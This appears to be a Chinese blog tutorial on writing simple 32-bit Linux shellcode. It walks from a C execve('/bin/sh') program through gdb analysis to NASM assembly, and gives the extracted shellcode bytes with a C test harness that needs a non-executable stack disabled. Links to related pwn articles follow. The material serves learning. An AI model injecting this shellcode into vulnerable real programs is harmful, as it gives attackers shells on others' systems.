简单shellcode编写
0x00 介绍
Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出。术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可执行代码。
0x01 预写c调用程序
在linux中以C编写程序调用"/bin/sh"。
#include "unistd.h"
#include "stdio.h"
char * buff[] = {"/bin/sh", NULL};
void main(){
execve("/bin/sh", buff, NULL);
}
以execve开启一个bash进程,调用路径为/bin/sh。
注:/bin/sh是一个指向dash的符号链接,实际运行的也是dash程序,dash即移植到linux的bash,比bash更小也更快。[#!/bin/bash和#!/bin/sh是什么意思以及区别]
0x02 gdb调试
以gdb打开编译好的文件,我调试的文件的为32-bit的,在64-bit中可以在gcc加上参数-m32即可编译为32-bit elf文件。(gcc-multilib)

图中 1 处调用execve函数,通过plt表调用,而 2 处栈中已将参数压入,分别为程序路径、参数数组、环境变量数组(此处为NULL)。
接着跟进,找到execve是怎么调用的:


可以看到在0xf7e8b68d处赋予eax值0xb,0xb(11)为execve的系统调用号。下一步执行到系统调用中断(call dword ptr gs:0x10)时,ebx指向的是“/bin/sh”字符串,ecx指向的是{“/bin/sh”,NULL}数组,edx为0。于是execve在32位linux系统中的参数传递方式为“参数1->ebx;参数2->ecx;参数3->edx”。
call *%gs:0x10 call will __kernel_vsyscall
32位的中断调用可采用int 80;而64位可采用syscall。
elf32函数系统调用号查看方式:cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep execve
64位查看:cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
0x03 编写汇编代码
最终只有一个目的,就是使得参数存入寄存器,然后系统调用。
section .text
global _start
_start:
xor eax, eax
push eax ; 字符串结尾 ==> NULL
push "//sh" ; '/bin//sh'
push "/bin"
mov ebx,esp ; '/bin//sh' address
push eax ; push 0
push ebx
mov ecx,esp ; array of argvs
xor edx,edx ; edx = 0
mov al,0x0b ; call execve
int 80h
编译:nasm -f elf32 -o test32 ./call_execve.asm
链接:ld -m elf_i386 -o atest ./test32
执行:

执行成功!
然后提取shellcode,objdump -d atest:

Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

然后用C代码测试shellcode是否可用。
#include "unistd.h"
#include "stdio.h"
void main(){
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
(*(void(*)())shellcode)();
}
其中的(*(void(*)())shellcode)();也可替换成((void(*)())shellcode)();,测试之后没有问题。在网上查找资料之后发现数据指针的*value操作符是取value地址下的数据,而在函数指针中*value则是将eip移至value地址处进行执行,而比如平时写程序的函数func();func也指向一个函数存储的位置,但是缺省了*。
编译并执行:gcc -z execstack -m32 -o ssssss shellcode_run_execve.c

成功运行,但是得加上 -z execstack关闭NX,因为shellcode作为局部变量存于栈上。
0x04 总结
这是新的尝试,收获良多,计算机底层知识很重要。
0x05 参考文章
简单shellcode编写的更多相关文章
- 简单shellcode学习
本文由“合天智汇”公众号首发 作者:hope 引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一 ...
- shellcode编写
shellcode编写 shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellc ...
- 二、Windows 下 ShellCode 编写初步
第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
- Android简单的编写一个txt阅读器(没有处理字符编码),适用于新手学习
本程序只是使用了一些基本的知识点编写了一个比较简单粗陋的txt文本阅读器,效率不高,只适合新手练习.所以大神勿喷. 其实想到编写这种程序源自本人之前喜欢看小说,而很多小说更新太慢,所以本人就只能找一个 ...
- SpringMVC(一) 简单代码编写,注解,重定向与转发
SpringMVC是什么 SpringMVC是目前最好的实现MVC设计模式的框架,是Spring框架的一个分支产品,以SpringIOC容器为基础,并利用容器的特性来简化它的配置.SpringMVC相 ...
- 简单的编写java的helloWord
那么在上一章章节 http://www.cnblogs.com/langjunnan/p/6814641.html 我们简单的俩了解了一下什么是java和配置编写java的环境,本章呢我们学习如何编写 ...
随机推荐
- 5.App Inventor 2编程实例--指南针
本视频来自:https://www.17coding.net 的 国庆特辑——指南针 共3个视频. 注意: 项目名字要使用英文. 项目完成后可以选择“打包APK”—“ 打包APK并下载到电脑”,然后 ...
- 3.App Inventor 2项目导入与导出
首先熟悉导入.导出项目是为了养成良好的备份习惯. 一.登陆App Inventor 2编程界面都大同小异,在项目菜单下面有导入项目和导出项目菜单. 二.打开导入项目界面,选择要导入的aia文件. 三. ...
- C#中关于表达式与委托在EF中的不同表现总结
Func<Invoice, bool> func = x => x.State == InvoiceState.Created; Expression<Func<Invo ...
- 随笔:WPS居然!出了!Mac版!
震惊! WPS! 居然! 出了! Mac版! 刚刚,我打算改一个word文档,打开了我的WIN10虚拟机,然而由于这个win10是前两天重装的,上面并没有word和wps. 当我打开wps官网的时候, ...
- [AI开发]centOS7.5上基于keras/tensorflow深度学习环境搭建
这篇文章详细介绍在centOS7.5上搭建基于keras/tensorflow的深度学习环境,该环境可用于实际生产.本人现在非常熟练linux(Ubuntu/centOS/openSUSE).wind ...
- WPF 通过透明度遮罩和变换制作倒影效果
倒影效果 代码 <Canvas xmlns="http://schemas.microsoft.com/client/2007" xmlns:x="http:/ ...
- dat.gui stats.js 通用参数配置及图像统计工具
在网上看到了一个非常好的JS烟雾效果 https://paveldogreat.github.io/WebGL-Fluid-Simulation/看源码时发现了dat.gui很好用. dat.gui ...
- 免费申请使用IBM Cloud Lite(轻量套餐) 续
之前尝试申请了IBM的轻量套餐,过程很简单,操作起来也比较方便,就是能够用到的地方不多,虽说几乎是无限流量且永久免费,我能做的也只是做个小网站 免费用户默认的是轻量应用服务,如果需要功能更多更全的应用 ...
- [Inside HotSpot] Java的方法调用
1. 方法调用模块入口 Java所有的方法调用都会经过JavaCalls模块.该模块又细分为call_virtual调用虚函数,call_static调用静态函数等.虚函数调用会根据对象类型进行方法决 ...
- AJAX跨域请求详解
最近开始学习ajax,学习ajax必须得掌握的就是跨域请求,实际上在不同源的地址上发送请求就是跨域请求 域名地址的组成: http:// www . google : 8080 / script/jq ...